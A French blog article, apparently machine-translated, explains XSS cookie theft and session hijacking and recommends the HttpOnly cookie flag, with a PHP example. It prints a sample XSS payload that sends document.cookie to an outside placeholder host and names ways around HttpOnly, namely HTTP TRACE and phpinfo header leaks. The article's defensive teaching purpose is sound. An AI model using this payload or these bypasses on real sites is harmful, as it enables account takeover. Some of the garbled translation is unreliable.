Avec l’essor des services www, de plus en plus d’applications se sont orientées vers des structures B/S, de sorte qu’une variété de services web peut être accessible avec un seul navigateur, mais cela entraîne aussi de plus en plus de problèmes de sécurité web. www repose sur le protocole Http, Http est un protocole sans état, donc pour transmettre des informations entre les sessions, il est inévitable d’utiliser des cookies ou des sessions et d’autres technologies pour marquer l’état du visiteur, et qu’il s’agisse d’un cookie ou d’une session, cela est généralement implémenté à l’aide de cookies (Session est en fait marquée par un jeton dans le cookie du navigateur, Le serveur obtient ce jeton, vérifie la légitimité et lie l’état correspondant stocké sur le serveur au navigateur), de sorte qu’il se concentre inévitablement sur le cookie en toute sécurité, tant que ce cookie est obtenu, l’identité des autres peut être obtenue, ce qui est une excellente chose pour les intrus, surtout lorsque le cookie obtenu appartient à une personne hautement privilégiée comme un administrateur, le préjudice est encore plus grand. Parmi divers problèmes de sécurité web, la vulnérabilité XSS est particulièrement dangereuse.
Pour les applications, une fois qu’il y a une vulnérabilité XSS, cela signifie que d’autres peuvent exécuter des scripts JS arbitraires dans votre navigateur, et si l’application est open source ou que les fonctions sont publiques, d’autres peuvent utiliser Ajax pour ces fonctions, mais le processus est souvent fastidieux, surtout si vous souhaitez obtenir directement l’identité de quelqu’un d’autre pour une navigation occasionnelle. Pour les applications non open source, comme l’arrière-plan web de certains grands sites (une caractéristique importante de web2.0 est un grand nombre d’interactions, les utilisateurs doivent souvent interagir avec les administrateurs en arrière-plan, comme les rapports de bugs ou la transmission d’informations, etc.), bien qu’il puisse exister des vulnérabilités de scripting inter-sites à cause de l’existence d’interactions, mais en raison du manque de compréhension de l’arrière-plan, il est impossible de construire un code ajax parfait à utiliser, même si vous pouvez utiliser js pour obtenir le code en arrière-plan et le retourner pour analyse, mais le processus est aussi fastidieux et non caché. À ce stade, il est très efficace d’utiliser la vulnérabilité xss pour obtenir des cookies ou des détournements de session, d’analyser spécifiquement l’authentification de l’application, puis d’utiliser certaines techniques, et même d’obtenir définitivement l’identité de l’autre partie même si celle-ci sort du programme.
Alors, comment obtenir un détournement de cookies ou de session ? Dans l’objet document du navigateur, les informations sur les cookies sont stockées, et le cookie peut être récupéré en utilisant js ; tant que vous obtenez ce cookie, vous pouvez avoir l’identité de quelqu’un d’autre. Une déclaration typique d’attaque XSS est la suivante :
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Certaines applications peuvent adopter des techniques de liaison navigateur pour résoudre ce problème, comme lier les cookies à l’agent utilisateur du navigateur, et considérer le cookie comme invalide une fois qu’il est découvert. Cette méthode s’est avérée inefficace, car lorsque l’intrus vole le cookie, il doit avoir obtenu l’User-agent en même temps. Il existe aussi un autre système strict qui lie les cookies à Remote-addr (en fait, il est lié à l’IP, mais certains programmes ont des problèmes avec la méthode d’obtention de l’IP, ce qui entraîne aussi une économie d’appoint), mais cela entraîne une très mauvaise expérience utilisateur, changer l’IP est courant, comme le travail et la maison ont 2 IP, donc cette méthode n’est souvent pas adoptée. Ainsi, les attaques basées sur les cookies sont désormais très populaires, et il est facile d’obtenir le statut administrateur de l’application sur certains sites web 2.0.
Comment protéger nos cookies sensibles ? Grâce à l’analyse ci-dessus, les cookies généraux sont obtenus à partir des objets document, et il suffit de rendre les cookies sensibles invisibles dans le document du navigateur. Heureusement, les navigateurs acceptent désormais généralement un paramètre appelé HttpOnly lors de la définition des cookies, tout comme d’autres paramètres comme le domaine ; une fois ce HttpOnly défini, vous ne verrez plus le cookie dans l’objet document du navigateur, et le navigateur ne sera en aucun cas affecté lors de la navigation, car le cookie sera envoyé dans l’en-tête du navigateur (y compris Ajax). Les applications n’utilisent généralement pas ces cookies sensibles en js, nous utilisons HttpOnly pour certains cookies sensibles, et nous ne définissons pas certains cookies qui doivent être utilisés avec js dans l’application, ce qui garantit la sécurité des informations des cookies et garantit l’application. Pour plus d’informations sur HttpOnly, voir http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
L’en-tête pour définir les cookies sur votre navigateur est le suivant :
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Prenant php comme exemple, le support de HttpOnly a été ajouté à la fonction Setcookie dans php 5.2, par exemple :
setcookie (« abc », « test », NULL, NULL, NULL, NULL, NULL, TRUE) ;
Vous pouvez définir le cookie abc sur HttpOnly, et le document ne sera pas visible pour ce cookie. Parce que la fonction setcookie est essentiellement un en-tête, vous pouvez aussi utiliser l’en-tête pour définir HttpOnly. Utilisez ensuite document.cookie pour vérifier que ce cookie n’est plus disponible. Nous utilisons cette méthode pour protéger Sessionid, comme certains cookies d’authentification pour l’authentification, afin de ne pas avoir à nous soucier de l’obtention de l’identité, ce qui est très important pour certains programmes en arrière-plan et webmail afin d’améliorer la sécurité. Lorsque nous réutilisons la méthode d’attaque ci-dessus, nous pouvons voir que nous ne pouvons plus obtenir de cookies sensibles que nous avons définis comme HttpOnly.
Cependant, on peut aussi constater que HttpOnly n’est pas omnipotent, tout d’abord, il ne peut pas résoudre le problème du xss, il ne peut toujours pas résister à l’attaque de certains hackers patients, ni empêcher les intrus de faire des soumissions ajax, et même certains proxies basés sur xss sont apparus, mais il a été possible d’augmenter le seuil des attaques, au moins les attaques xss ne sont pas réalisées par tous les script kid, et d’autres méthodes d’attaque sont dues à certaines limitations environnementales et techniques. Ce n’est pas aussi courant que le vol de biscuits.
HttpOnly peut aussi exploiter certaines vulnérabilités ou configurer Bypass, le principal problème est que tant que vous pouvez recevoir l’en-tête du cookie par le navigateur, Par exemple, l’attaque Http Trace précédente peut renvoyer le cookie dans votre en-tête, et cette attaque peut être réalisée en utilisant ajax ou flash, qui a également été corrigé dans ajax et flash. Un autre exemple notable de contournement possible de la configuration ou de l’application est phpinfo ; comme vous le savez, phpinfo affichera l’en-tête http envoyé par le navigateur, y compris les informations d’authentification que nous protégeons, et cette page existe souvent sur divers sites, tant que vous utilisez ajax pour accéder à la page phpinfo, retirez la partie correspondant à l’en-tête pour obtenir le cookie. Des imperfections dans certaines applications peuvent également entraîner une fuite d’en-tête, qui peut être attaquée tout autant qu’une page protégée par une vérification basique.
HttpOnly est mieux pris en charge dans IE 6 et versions supérieures, et est largement utilisé dans des applications telles que Hotmail, et a obtenu des résultats de sécurité relativement bons.
|
Publié sur 03/06/2015 20:57:48
|
|
|
